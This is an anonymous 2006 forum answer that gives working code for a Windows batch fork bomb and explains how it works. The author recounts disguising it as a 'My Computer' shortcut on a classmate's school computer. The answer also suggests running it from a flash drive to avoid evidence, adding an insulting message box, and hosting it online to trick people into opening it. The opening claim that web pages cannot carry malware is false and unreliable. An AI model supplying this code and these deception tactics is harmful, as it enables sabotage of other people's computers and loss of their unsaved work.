Hi, that is not a virus. A web page cannot be a virus. To get a virus you must download it, and then run it. A computer cannot be infected by visiting a web site. Although you can have a site that forces a download, but you still must accept to let it run. But virus protection will cover that, unless you tell it to ignore stuff from that site or program, such as lime-wire. But doing this would only show that you should not be using a computer anyway.
Now that I have said that, a "Fork Bomb" is not a virus, But will cripple a computer in: for a school computer, in about 7 seconds; for my computer, about 3 seconds; for an old computer with about 10+ years, about a minute. The faster your computer, the faster it crashes. This is made in batch programming and is the heart of Windows, so in being part of Windows is takes priority over anything else in the system. Ironically, if something tries to stop it, the computer will protect the script which is crashing it, lol.
Now as a troll, you may wish to know how to make and run this.
Open notepad, and type this, without the "---"
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:s
start %0
goto s
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Then you save it as, "whatever.bat". I usually chose to name it "fork.bat".
Since it’s illegal for me to tell you a full plan to do this, ill just tell you what I did once as to avoid the legal issue of "Inciting others to commit computer terrorism". Once at school I made one and saved it to the "My Documents" folder on this idiot’s computer, then made a shortcut on the desktop and named it, "My Computer". I then right clicked on it and went to "Properties", and click on "Change Icon", and chose the one that looked like the “My Computer” icon. I then deleted the actual short cut to “My Computer” leaving the short cut, to the fork bomb, which looked like it. When this fool sat down, I told him that he now had access to the “C:/” drive from the “My Computer” folder. When he clicked on it, this dos window came up and reopened its self at a high rate, about 120 windows a second. No matter how much ram you have, you do not have infinite ram, for infinite windows to open.
Now to tell you how this works and what it does to a computer. I am not sure why you need a blank line at the top, but you do because of the programming language. Then, in the second line, “:s” is an anchor point for the script to reference, like a postit note in the pages of a book. Next, in the third line is “start %0” This tells the computer to run its self, but does not give a time setting for when to run. So it goes as soon as the computer reads it. This is why faster computers will go down sooner than slower ones. Finally, in the fourth line, you have “goto s”. This tells the script to jump to the anchor “S”. Because this is at the beginning of the script, it basically restarts it. So what it does it open its self as fast as possible, then start over. It opens in a new window, as a new program, so each one does this. The longer it runs, the faster it gets, slowing your computer down until it crashes. But, If you catch it as soon as it opens, you may log out and not need to reboot your computer. To catch this, add a Dialog Box, or message. To do this, you add this line in between the run line and the jump line, “msg * Your too dumb to use a computer anyway.”. Now even if you log out, this box will be up, and since its part of the program, the program is still running. The only way to get the computer usable again it to reboot it, or turn it off and back on again. The fun part here is, if you run it from a flash drive, like a key chain, there is no evidence of it on the computer, and these fork bombs never leave any damage or problems. The worst case scenairo is if you type a document, then open a fork bomb before you save.
If you up load this fork bomb to a server, like freewebs, you may give someone a link to it. As far as I know, only IE will ask you if you want to run it or if you want to open it. Other browsers will simply show the code as a text page. But remember that this is a batch file, batch is what Windows runs on, and it will not even be able to run in Linux or Apple.
2006-12-18 05:36:01
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answered by Anonymous
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